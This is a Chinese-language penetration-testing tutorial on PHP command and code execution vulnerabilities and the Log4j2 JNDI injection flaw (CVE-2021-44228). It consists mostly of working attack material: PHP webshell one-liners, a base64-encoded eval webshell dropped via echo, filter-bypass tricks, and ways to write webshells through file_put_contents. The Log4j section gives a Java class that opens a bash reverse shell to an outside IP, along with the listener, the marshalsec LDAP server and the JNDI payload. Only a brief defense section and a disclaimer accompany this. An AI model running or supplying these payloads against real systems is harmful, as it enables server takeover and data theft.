-
系统命令执行漏洞
-
原理:提供了执行系统命令的功能,但没有对用户输入做严格校验;
-
执行系统命令函数:
1).system()
有回显 ——<?php system($_POST["cmd"]);?>
2).passthru()
有回显 ——<?php passthru($_POST["cmd"]);>
3).exec()
回显最后一行 ——<?php echo exec($_POST["cmd"]);?>
4).shell_exec()
无回显,需输出 ——<?php echo shell_exec($_POST["cmd"])?>
5). 反引号` `
linux中` `
里的代码会被当作系统命令执行 ——<?php $cmd =$_GET['cmd'];print `$cmd`;?>
-
命令连接符
命令拼接符 Windows Linux |
“|” 前面命令的结果 作为 后面命令的输入,
执行最后一条命令,如果前面出错则都不执行
例:netstat -ano | find "127.0.0.1"
从netstat -ano的结果中寻找字串127.0.0.1“|” 前面命令的结果 作为 后面命令的输入,
执行最后一条语句
例:netstat -ano | grep "9510"
从netstat -ano的结果中寻找字串9510||
执行第一条正确的命令 执行出错语句的后一个,无错则执行最后一个 &
同时执行所有语句 同时执行所有语句 &&
遇错不执行 遇错不执行 ;
顺序执行所有语句 ` `
首先执行
` `
间的命令,再执行反引号外的命令例:
echo `whoami`
,先执行 whoami ,再执行echo$(command)
如上,相当于
` `
的替换,适用于反引号被过滤的情况例:
echo $(whoami)
-
漏洞类型:
有回显(写入webshell) 无回显(写入web文件,通过访问网站文件查看;DNSlog外带和HTTP日志外带)
出网(反弹shell,远程下载木马) - 反弹shell;
- 远程下载木马;
- 写入webshell;
- 反弹shell;
- 远程下载木马;
- 写入web文件后,通过访问网站文件查看;
- DNSlog外带和HTTP日志外带;
不出网(写入webshell) - 写入webshell;
- 执行系统命令;
- 写入webshell;
- 写入web文件后,通过访问网站文件查看;
- DNSlog外带和HTTP日志外带;
-
系统命令执行漏洞 无回显 验证方式:
1). 借助DNSlog
访问记录 判断;
2). 借助HTTP
服务器请求日志判断;
3). 写入web文件,通过访问网站文件查看; -
系统命令执行GetShell方式
1). 反弹shell;
2). 写入webshell;
3). 远程下载木马; -
判断对方 是否出网 的验证方式
1). HTTP/HTTPS 协议:curl / wget / mshta / certutil.exe URL
2). ICMP 协议:ping IP
3). DNS 协议:nslookup 域名
4). TCP 协议:telnet IP 端口
-
查找web路径
1.文件查找法:一般web路径一定会有index.html\php\jsp\asp,login.xxx文件。可以根据已知页面文件名全局搜索
linux:
find / -name index.php
find / -name index.*windows:
for /r d:/ %i in (index.html) do @echo %i
for /r d:/ %i in (index.*) do @echo %i2.源码查找法:打开当前已知web页面的f12查看源码,寻找一段特征足够明显的源码进行查找(修改查找内容)
linux:
find / -name "*.*" | xargs grep "PHP installed properly"
find /var/www/ -name "*.php" | xargs grep "doServerTest()"windows:
findstr /s/i/n /d:D:\sec_tools\ /c:"html" *.html
findstr /s/i/n /d:C:\windows\ /c:"success" *.*
-
利用方式
方式 | 步骤 | ||||||||||
写入Webshell (有回显 或 不出网) |
| ||||||||||
远程下载 (出网) |
| ||||||||||
反弹shell (出网) |
| ||||||||||
写入web文件 (无回显) |
| ||||||||||
DNSLog/HTTP 日志外带 (无回显) |
|
-
绕过方式
绕过方式 | 功能 | 命令 |
等价替换 | 查看文件 |
|
空格绕过 | 空格 | %20 ,%09 ,${IFS} , $IFS, {cat,1.txt} 花括号中的逗号起空格的作用 |
简单符号绕过正则 | 查看文件 |
|
Base64 写入 | 密码:cmd | echo "PD9waHAgQGV2YWwoJF9QT1NUWzFdKTsgPz4=" | base64 -d >2.php |
绕过重定向 | 密码:1 |
|
Hex 写入 | 密码:1 |
|
-
程序代码执行漏洞
-
原理:提供了执行代码的功能,但没有对用户输入做严格校验;
-
执行程序代码函数:
1).eval()
——<?php @eval($_POST[cmd]); ?>
2).assert()
——<?php @assert($_REQUEST[cmd]); ?>
3).preg_replace()
——<?php @preg_replace("/abc/c",$_REQUEST['cmd'],"abcd")?>
4).create_function()
——<?php @create_function(' ', $_REQUEST['cmd']);$func(); ?>
-
程序代码执行 GetShell的方式
1). 通过
file_put_contents()
/fputs()
函数写入webshell;2). 调用执行系统命令的函数;
-
利用方式
利用方式 | 步骤 |
写入webshell | 1). file_put_contents() —— ?cmd=file_put_contents('shell.php','<?php @eval($_POST[x]);?>'); 2). fputs() —— ?cmd=fputs(fopen("shell1.php","w"),'<?php @eval($_POST[x]);?>'); 3). GET参数 —— ?txt=@eval($_POST['cmd']); |
执行系统命令 (调用执行系统命令函数) | 1). 详见 RCE漏洞_执行系统命令漏洞 利用方式; 2). 例:命令执行框内输入: system('echo "<?php @eval($_POST[cmd]); ?>" > shell0.php'); 3). PS: ①. 句尾;后不可缺少。例:上中 shell0.php'); 的分号②. 系统命令函数内的内容使用单引号包裹,例: system(' ') ;③. 注意引号闭合; |
读取敏感文件 | 1). 获取当前的绝对路径: print(__FILE__); 2). 读取文件内容: var_dump(file_get_contents("c:\windows\win.ini")); |
-
防御方式(了解)
- 禁用命令执行函数;
- 过滤用户输入和输出(白名单,黑名单),取消回显;
- 使用
disable_functions
方法禁用函数;
-
漏洞挖掘
- 黑盒测试:
- 寻找路由器,交换机,防火墙,堡垒机等网络设备的web页面;
1). 例:cmd=
,command=
,sys=
,......
2). 例:xxx=命令,如xxx=whoami
,xxx=id
,xxx=ipconfig
,..... - 寻找Nday;
- 使用工具进行扫描(AWVS,Xray);
- 寻找路由器,交换机,防火墙,堡垒机等网络设备的web页面;
- 白盒测试:代码审计,寻找
system,passthru,exec,shell_exec,eval,assert,preg_replace,create_function
;
-
Apache Log4j2
——CVE-2021-44228
- Log4j2 :Java 日志记录框架,用来记录和处理日志;
- 成因:Lookup() 方法存在缺陷,会造成JNDI注入;
- 影响版本:
2.0 ≤ Apache log4j2 ≤ 2.14.1
- 影响组件:
Apache Struts2
,Apache Sorl
,Apache Druid
,Apache Flink
,spring-boot-strater-log4j2
,Dubbo
,Redis
,Logstash
,Kafka
,vmvare
; - 原理:Log4j2 中的 lookup 方法使用 JNDI(字典)调用 LDAP / RMI(协议)来访问文件,导致攻击者可以构造恶意的URL,进行JNDI注入;
- 例:
lookup(${jndi:ldap://localhost:9999/Test})
lookup 方法使用 JNDI 调用 LDAP 协议访问本机 9999 端口的Test.class
文件;
- 例:
- log4j2请求包的特征: 请求包中含有 ${jndi:ldap/rmi:// } 的特征;
- RMI的作用:加载远程服务器的 class 文件;
- 验证POC:
${jndi:ldap://${sys:java.version}.DNSlog地址}
- 利用方式:
-
首先,攻击者在 VPS 上传
Exp.class
供被攻击者远程下载# Exp.java文件public class Exp {public Exp(){try{String[] commands = {"bash","-c","sh -i >& /dev/tcp/192.168.7.10/5555 0>&1"};Process pc = Runtime.getRuntime().exec(commands);pc.waitFor();} catch(Exception e){e.printStackTrace();}}public static void main(String[] argv) {Exp e = new Exp();} }
-
同时,开启
http,nc,ldap/rmi
服务,并构造恶意的JNDI URL- http:
python -m SimpleHTTPServer 8000
- nc:
nc -lvnp 5555
- ladp:
java8 -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.7.10:8000/#Exp" 9999
- http:
-
接下来,受害者执行恶意的JNDI URL,并进行远程访问:
${jndi:ldap://192.168.7.10:9999/Exp}
-
最后,成功反弹shell;
-
PS:
1). HTTP服务的启动位置要在Exp.class
所在目录;
2). 端口对应关系,
①. 如被攻击者请求 9999,ladp 中也要起 9999;
②. ladp 中8000,http 服务也要起 8000 ;
③. .java 中为 5555 端口,nc也要起 5555 ;
3). 被攻击者执行的命令为 ladp 的,则攻击者要开启的也是 ladp 服务; -
你有没有使用过 ladp 服务和 rmi 服务? 使用过,通过 github 上的 jar 包结合命令使用;
-
LDAP 和 RMI 的原理
- LDAP: 客户端通过 LDAP 请求资源,客户端得到资源后进行反序列化时执行恶意代码;
- RMI: 远程方法调用,远程加载恶意类;
-
-
免责声明
-
本专栏内容仅供参考,不构成任何投资、学习或专业建议。读者在参考本专栏内容时,应结合自身实际情况,谨慎作出决策。
-
本专栏作者及发布平台尽力确保内容的准确性和可靠性,但无法保证内容的绝对正确。对于因使用本专栏内容而导致的任何损失,作者及发布平台概不负责。
-
本专栏部分内容来源于网络,版权归原作者所有。如有侵权,请及时联系我们,我们将尽快予以处理。
-
读者在阅读本专栏内容时,应遵守相关法律法规,不得将内容用于非法用途。如因读者行为导致不良后果,作者及发布平台不承担任何责任。
-
本免责声明适用于本专栏所有内容,包括文字、图片、音频、视频等。读者在阅读本专栏内容时,视为已接受本免责声明。
-
作者及发布平台保留对本免责声明的解释权和修改权,如有变更,将第一时间在本专栏页面进行公告。读者继续使用本专栏内容,视为已同意变更后的免责声明。
敬请广大读者谅解。如有疑问,请联系我们。谢谢!